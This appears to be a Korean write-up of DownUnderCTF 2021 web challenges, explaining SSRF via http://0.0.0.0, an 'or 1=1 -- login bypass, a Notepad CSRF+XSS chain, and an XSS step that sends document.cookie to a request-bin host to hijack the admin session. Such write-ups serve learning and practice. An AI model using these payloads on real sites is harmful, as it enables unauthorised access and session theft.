문제로 들어오면 위와 같이 환영 한다고 인사를 해주며 밑에 Proxy Example라는 링크가 있는 것을 볼 수 있습니다.
위 링크를 클릭 해 접속을 하면 위와 같이 url 파라미터를 이용해서 요청 한 후에 응답 값을 가져오는 것을 볼 수 있고, 여기서 SSRF를 이용해서 플래그를 획득 해야 합니다.
1
http://0.0.0.0
대부분에 로컬 호스트는 필터링에 걸려 있어 위 페이로드를 이용해서 우회를 시도 하였고, 응답 값 내에 관리자 패널이 존재하는 것을 알 수 있습니다.
그래서 /admin으로 SSRF 해주면 플래그를 획득할 수 있습니다.
1
DUCTF{very_spooky_request}
Cowboy World [100 pts]
Cowboy World 문제는 SQL Injection을 이용한 인증 우회를 이용해 플래그를 획득하는 문제 입니다.
문제로 들어오면 위와 같이 로그인 로직이 존재하는 것을 볼 수 있습니다. 하지만 username/password의 값으로 SQL Injection 페이로드를 삽입 해주어도 공격이 되지 않아 올바른 username을 찾아야 한다고 생각했습니다.
1 2 3 4
# pls no look
User-Agent: regular_cowboys Disallow: /sad.eml
1 2 3 4 5 6 7
Everyone says 'yeee hawwwww'
but never 'hawwwww yeee'
:'(
thats why a 'sadcowboy' is only allowed to go into our website
그래서 정보 수집을 하기 위해서 /robots.txt로 접속을 해보니 메일 파일이 있었고, 메일 내용으로 위와 같이 있었습니다. 그래서 그냥 username으로 sadcowboy를 넘겨주고 password 값으로 'or 1=1 -- 해주니 해결 되었습니다.
1
DUCTF{haww_yeeee_downunderctf?}
x1337 Sk1d R3p0rt3r [232 pts]
x1337 Sk1d R3p0rt3r 문제는 구문 분석에 의한 XSS를 이용해서 플래그를 획득하는 문제 입니다. 귀찮아서 gist에 올린 거 그대도 올립니다.
1 2
poc-1. </script> poc-2. <script>`
1 2 3 4 5 6
1. Go to https://web-x1337-sk1d-r3p0rt3r-9cfd1dc4.chal-2021.duc.tf/. 2. login after register your personal account. 3. Edit the username to poc-1 and report to any value. 4. Edit the username to poc-2 and report to "`;fetch(`http://requestbin/?c=`+document.cookie)//". 5. Finally, edit the username to poc-1 and report to any value. 6. Then we can successfully hijack the admin session
1
DUCTF{xxX_x55_4_1337_h4x0rz_Xxx}
Notepad [473 pts]
Notepad 문제는 CSRF + XSS를 체이닝 해서 플래그를 획득하는 문제 입니다. 개인적으로 매우 쉬웠는데 솔브가 왜 적은 지 이해가 안 됨.
@app.route('/admin') asyncdefadmin(): if quart.session.get('admin') != 1: return"", 403 returnopen('flag.txt').read()
@app.route('/report', methods=["GET", "POST"]) @quart_rate_limiter.rate_limit(5, dt.timedelta(seconds=10)) asyncdefreport(): user = quart.session.get('user') ifnot user: return quart.redirect(quart.url_for('index')) if quart.session.get('admin') == 1: # Just in case anyone tries it return"You're the admin... Go fix it yourself", 418
if quart.request.method == 'POST': form = await quart.request.form url = form.get('url') if url: __stub_get_url(url) return quart.redirect(quart.url_for('me'))
위 POC 코드를 저장해주니 Dompurify가 우회 돼 XSS가 트리거 되는 것을 확인할 수 있었고, 양 끝에 </p>, <p> 태그를 넣어준 이유는 converter.makeHtml()를 이용해서 마크다운을 HTML로 변환해주고 반환 해주는데, 이때 양 옆에 불 필요한 <p> 태그가 생겨 무효화 시켜 주기 위함 입니다.